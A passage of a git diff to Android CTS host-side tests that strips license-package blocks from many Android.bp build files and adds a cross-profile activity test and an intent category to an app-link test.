// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsCrossProfileNotEnabledApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp
index af28434..2a11871 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsCrossProfileUserEnabledApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
index 277baed..7a3fb81 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsModifyQuietModeEnabledApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp b/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp
index c324641..96e959c 100644
--- a/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsCustomizationApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/Android.bp b/hostsidetests/devicepolicy/app/DelegateApp/Android.bp
index d6b271d..b10477e 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/DelegateApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDelegateApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp b/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp
index 7af83ca..668880c 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDeviceAdminApp23",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp b/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp
index c18b21b..6f4503b 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDeviceAdminService1",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
index eaf7de4..3abd12d 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDeviceAndProfileOwnerApp23",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp b/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
index 1f3bc25..378e9af 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDeviceOwnerApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
index 74f44d7..f00d03a 100644
--- a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsHasLauncherActivityApp",
// Don't include this package in any target
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp b/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp
index 31bfdf4..c3654ec 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsIntentReceiverApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/IntentSender/Android.bp b/hostsidetests/devicepolicy/app/IntentSender/Android.bp
index db80feb..2a83c8e 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/Android.bp
+++ b/hostsidetests/devicepolicy/app/IntentSender/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsIntentSenderApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
index 1da1202..eef1577 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
+++ b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
@@ -93,6 +93,7 @@
private Intent getHttpIntent() {
Intent i = new Intent(Intent.ACTION_VIEW);
i.addCategory(Intent.CATEGORY_BROWSABLE);
+ i.addCategory(Intent.CATEGORY_DEFAULT);
i.setData(Uri.parse("http://com.android.cts.intent.receiver"));
return i;
}
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/Android.bp b/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
index a9ba46d..239eb84 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
+++ b/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsLauncherAppsTests",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp
index 1a4f063..642748e 100644
--- a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp
+++ b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsLauncherAppsTestsSupport",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp b/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
index c843216..565c88c 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsManagedProfileApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp b/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp
index 80a96cb..87dd24b 100644
--- a/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsMeteredDataTestApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/NotificationSender/Android.bp b/hostsidetests/devicepolicy/app/NotificationSender/Android.bp
index 202ef5e..774f4ca 100644
--- a/hostsidetests/devicepolicy/app/NotificationSender/Android.bp
+++ b/hostsidetests/devicepolicy/app/NotificationSender/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsNotificationSenderApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp b/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp
index c76ba59..8ffabca 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsPackageInstallerApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp b/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp
index 5dc1020..f2a77fb 100644
--- a/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp
+++ b/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsPasswordComplexity",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/PrintingApp/Android.bp b/hostsidetests/devicepolicy/app/PrintingApp/Android.bp
index 16df2a4..c304b08 100644
--- a/hostsidetests/devicepolicy/app/PrintingApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/PrintingApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDevicePolicyPrintingApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp b/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp
index 3ba4837..80ac6cb 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsProfileOwnerApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp
index b925514..ab5465e 100644
--- a/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp
+++ b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSeparateProfileChallengeApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/SharingApps/Android.bp b/hostsidetests/devicepolicy/app/SharingApps/Android.bp
index b0ac177..161a32c 100644
--- a/hostsidetests/devicepolicy/app/SharingApps/Android.bp
+++ b/hostsidetests/devicepolicy/app/SharingApps/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "SharingApp1",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/Android.bp b/hostsidetests/devicepolicy/app/SimpleApp/Android.bp
index c654642..3b80c07 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SimpleApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSimpleApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp b/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp
index f17a192..132b724 100644
--- a/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp
@@ -14,10 +14,6 @@
// This app is meant for testing device policy permission APIs on legacy apps (pre-M)
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSimplePreMApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp b/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
index 3ddae9d..25c5b27 100644
--- a/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "SimpleSmsApp",
sdk_version: "test_current",
@@ -29,4 +25,4 @@
"cts",
"general-tests",
],
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp
index 83588f6..446ae6f 100644
--- a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDevicePolicySingleAdminTestApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/SuspensionChecker/Android.bp b/hostsidetests/devicepolicy/app/SuspensionChecker/Android.bp
index 02ff6ba..14e6f55 100644
--- a/hostsidetests/devicepolicy/app/SuspensionChecker/Android.bp
+++ b/hostsidetests/devicepolicy/app/SuspensionChecker/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_library {
name: "cts-devicepolicy-suspensionchecker",
srcs: ["src/**/*.java"],
diff --git a/hostsidetests/devicepolicy/app/TestApps/Android.bp b/hostsidetests/devicepolicy/app/TestApps/Android.bp
index 153fd44..9abed34 100644
--- a/hostsidetests/devicepolicy/app/TestApps/Android.bp
+++ b/hostsidetests/devicepolicy/app/TestApps/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "TestApp1",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/TestIme/Android.bp b/hostsidetests/devicepolicy/app/TestIme/Android.bp
index cde29f5..92cae61 100644
--- a/hostsidetests/devicepolicy/app/TestIme/Android.bp
+++ b/hostsidetests/devicepolicy/app/TestIme/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "TestIme",
resource_dirs: ["res"],
diff --git a/hostsidetests/devicepolicy/app/TestLauncher/Android.bp b/hostsidetests/devicepolicy/app/TestLauncher/Android.bp
index 4d6a2e3..95a60fa 100644
--- a/hostsidetests/devicepolicy/app/TestLauncher/Android.bp
+++ b/hostsidetests/devicepolicy/app/TestLauncher/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "TestLauncher",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp
index e674981..6a8fb52 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsTransferOwnerIncomingApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp
index d2cb5f3..0012763 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsTransferOwnerOutgoingApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp b/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp
index 506e881..ddafb6d 100644
--- a/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp
+++ b/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsWidgetProviderApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp
index 790800b..f894929 100644
--- a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp
+++ b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsWifiConfigCreator",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
index 345c91e..ddaf864 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
@@ -168,6 +168,8 @@
@LargeTest
@Test
public void testStartActivityIntent_sameTaskByDefault() throws Exception {
+ // TODO(b/171957840): replace with device-side test using an inter-process communication
+ // library.
if (!mHasManagedUserFeature) {
return;
}
@@ -194,6 +196,21 @@
@LargeTest
@Test
+ public void testStartActivityIntent_crossProfile_returnsResult() throws Exception {
+ // TODO(b/171957840): replace with device-side test using an inter-process communication
+ // library.
+ if (!mHasManagedUserFeature) {
+ return;
+ }
+ verifyCrossProfileAppsApi(
+ mProfileId,
+ mPrimaryUserId,
+ START_ACTIVITY_TEST_CLASS,
+ "testStartActivityIntent_crossProfile_returnsResult");
+ }
+
+ @LargeTest
+ @Test
public void testPrimaryUserToSecondaryUser() throws Exception {
if (!mCanTestMultiUser) {
return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
index 7700140..2c8d50c 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
@@ -14,14 +14,10 @@
* limitations under the License.
*/
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library_host {
name: "device-policy-log-verifier-util",
srcs: ["*.java"],
libs: [
"tradefed",
],
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/dexmetadata/app/Android.bp b/hostsidetests/dexmetadata/app/Android.bp
index 427114b..9be64e6 100644
--- a/hostsidetests/dexmetadata/app/Android.bp
+++ b/hostsidetests/dexmetadata/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDexMetadataDeviceTestApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/dexmetadata/app/SplitApp/Android.bp b/hostsidetests/dexmetadata/app/SplitApp/Android.bp
index de33f85..ec148f0 100644
--- a/hostsidetests/dexmetadata/app/SplitApp/Android.bp
+++ b/hostsidetests/dexmetadata/app/SplitApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDexMetadataSplitApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/Android.bp b/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/Android.bp
index 731227f..df0a8bc 100644
--- a/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/Android.bp
+++ b/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDexMetadataSplitAppFeatureA",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/dexmetadata/host/Android.bp b/hostsidetests/dexmetadata/host/Android.bp
index 3ae559d..d40cb6c 100644
--- a/hostsidetests/dexmetadata/host/Android.bp
+++ b/hostsidetests/dexmetadata/host/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsDexMetadataHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/dumpsys/Android.bp b/hostsidetests/dumpsys/Android.bp
index 99a3cbf..3a3a2c5 100644
--- a/hostsidetests/dumpsys/Android.bp
+++ b/hostsidetests/dumpsys/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsDumpsysHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.bp b/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.bp
index 7d0890e..f926857 100644
--- a/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.bp
+++ b/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsFramestatsTestApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.bp b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.bp
index 85d7d94..3faa49a 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.bp
+++ b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsProcStatsHelperApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.bp b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.bp
index 9b97073..a721e6e 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.bp
+++ b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsProcStatsApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/dumpsys/apps/storagedapp/Android.bp b/hostsidetests/dumpsys/apps/storagedapp/Android.bp
index 822e9a5..7e60522 100644
--- a/hostsidetests/dumpsys/apps/storagedapp/Android.bp
+++ b/hostsidetests/dumpsys/apps/storagedapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsStoragedTestApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/edi/Android.bp b/hostsidetests/edi/Android.bp
index d542654..20f626c 100644
--- a/hostsidetests/edi/Android.bp
+++ b/hostsidetests/edi/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsEdiHostTestCases",
srcs: ["src/**/*.java"],
diff --git a/hostsidetests/gputools/Android.bp b/hostsidetests/gputools/Android.bp
index f919a8c..4b77aa4 100644
--- a/hostsidetests/gputools/Android.bp
+++ b/hostsidetests/gputools/Android.bp
@@ -12,16 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- // See: http://go/android-license-faq
- // A large-scale-change added 'default_applicable_licenses' to import
- // all of the 'license_kinds' from "cts_license"
- // to get the below license kinds:
- // SPDX-license-identifier-Apache-2.0
- // SPDX-license-identifier-MIT
- default_applicable_licenses: ["cts_license"],
-}
-
java_test_host {
name: "CtsGpuToolsHostTestCases",
srcs: ["src/**/*.java"],
diff --git a/hostsidetests/gputools/apps/Android.bp b/hostsidetests/gputools/apps/Android.bp
index a04ba61..3cfeafb 100644
--- a/hostsidetests/gputools/apps/Android.bp
+++ b/hostsidetests/gputools/apps/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libctsgputools_jni",
gtest: false,
diff --git a/hostsidetests/gputools/layers/Android.bp b/hostsidetests/gputools/layers/Android.bp
index 8d294d6..ef8887b 100644
--- a/hostsidetests/gputools/layers/Android.bp
+++ b/hostsidetests/gputools/layers/Android.bp
@@ -12,16 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- // See: http://go/android-license-faq
- // A large-scale-change added 'default_applicable_licenses' to import
- // all of the 'license_kinds' from "cts_license"
- // to get the below license kinds:
- // SPDX-license-identifier-Apache-2.0
- // SPDX-license-identifier-MIT
- default_applicable_licenses: ["cts_license"],
-}
-
cc_test_library {
name: "libVkLayer_nullLayerA",
gtest: false,
diff --git a/hostsidetests/graphics/gpuprofiling/Android.bp b/hostsidetests/graphics/gpuprofiling/Android.bp
index ff441bc..d3afe48 100644
--- a/hostsidetests/graphics/gpuprofiling/Android.bp
+++ b/hostsidetests/graphics/gpuprofiling/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsGpuProfilingDataTestCases",
srcs: ["src/**/*.java"],
diff --git a/hostsidetests/graphics/gpuprofiling/app/Android.bp b/hostsidetests/graphics/gpuprofiling/app/Android.bp
index 0ff8fa4..9bb6ce7 100644
--- a/hostsidetests/graphics/gpuprofiling/app/Android.bp
+++ b/hostsidetests/graphics/gpuprofiling/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "ctsgraphicsgpucountersinit",
srcs: [
@@ -78,4 +74,4 @@
],
use_embedded_native_libs: false,
stl: "c++_shared",
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/harmfulappwarning/Android.bp b/hostsidetests/harmfulappwarning/Android.bp
index 61f9372..cb7d3ef 100644
